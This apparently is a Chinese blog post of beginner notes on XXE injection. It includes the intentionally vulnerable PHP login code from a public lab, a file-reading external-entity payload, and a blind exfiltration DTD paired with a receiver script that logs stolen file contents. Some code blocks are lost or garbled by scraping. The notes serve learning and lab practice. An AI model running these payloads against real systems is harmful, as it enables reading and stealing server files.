xxe注入入门

xxe注入学习笔记

前言

  这段时间学习了下xxe注入的一些知识,这里做下总结

xml语言和xxe介绍

  xml是一种类似html但对闭合要求更严格的标记符号语言,主要用于数据传输。

  下面是一段xml的实例

1
2
3
4
5
<?xml version="1.0"?><!--声明-->
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>

  这个文档有以下几部分,文档声明,文档定义,文档元素,第一部分是声明,之后跟着的是文档定义,<!DOCTYPE 文档名 [内容]>,文档定义中嵌套实体,文档定义内可以嵌套实体定义,格式如下,<!ENTITY 实体名 “内容”>。定义结束后由文档定义的元素作为该文档的根元素,之后的所有元素需要正确嵌套入根元素内。

  xml的实体共有五种,这里我们需要注意的主要有三种:

  1. 外部实体,区别主要是是在实体名后如果跟着SYSTEM关键词,关键词后面跟着的外部文件的url,而外部实体的内容则是引用文件内的内容,可以通过&实体名;的形式来引用实体。

  2. 内部实体 ,主要指的是在实体中嵌套另外一个实体,类似

    1
    <!ENTITY % param1 '<!ENTITY  &#37;  xxe SYSTEM "http://xxx.dtd? &#37; payload;" >'

    需要注意的是被嵌套实体中的 % ,< 等字符需要进行html实体编码,16或者8进制皆可。

  3. 参数实体,类似于

    1
    <!ENTITY % f1 SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/1.txt">

    %remote;
    %all;
    %send;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40

    参数实体的声明时的实体名前有%关键字,而引用时应用%实体名;来引用。

    &emsp;&emsp;xxe,xxe指的是外部实体注入,上面的实体定义不仅可以定义内部实体,也可以定义外部实体,引用远端的xml中定义的实体,并解析。并且可以根据不同的协议扩展为ssrf,任意命令执行,任意文件读取,ddos等等。

    ## xxe注入演示
    ### 实验环境交代
    windows server 2008 r2 phpStudy php 5.3.29 libxml 2.7.8(libxml 2.9.4以及以上版本无效)

    ### 实验代码
    + reference: https://github.com/c0ny1/xxe-lab 中的php_xxe

    关键代码如下
    ​```php
    $USERNAME = 'admin'; //账号
    $PASSWORD = 'admin'; //密码
    $result = null;

    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');

    try {
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);

    $username = $creds->username;
    $password = $creds->password;

    if ($username == $USERNAME && $password == $PASSWORD) {
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>", 1, $username);
    } else {
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>", 0, $username);
    }
    } catch (Exception $e) {
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>", 3, $e->getMessage());
    }

    header('Content-Type: text/html; charset=utf-8');
    echo $result;

回显注入

  先正常登录一次,抓包

image.png

  可以看到这里username和password是以xml文档的形式提交的,这段文档将会被simplexml_import_dom方法解析为dom。这个过程中因为load_XML设置了LIBXML_DTDLOAD和LIBXML_NOENT,所以可以加载解析外部实体,并且会回显username。我们改包试一下。

image.png

非回显注入

payload:
image.png

eval.dtd:

1
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1/2.php?file=%f1;'>">

2.php:

1
2
3
<?php
$file = $_GET['file'];
file_put_contents("2.txt", $file);

  这里要注意三个实体的解析顺序不能乱,读取的数据将被发送到2.php上。

报错注入

image.png
  首先解析eval和f1实体,解析完后继续解析error实体,报文件不存在将f1内容回带。

漏洞验证流程

  应当先验证实体是否能被解析,然后验证是否能加载外部实体,最后可以尝试是否能报错。

总结

  总得来说,xxe的思路还是和sql注入有些类似,从回显的union注入到盲注,报错,结果外带,由于时间有限的缘故,只写了一文件包含的利用,不过对于入门来说,足够了。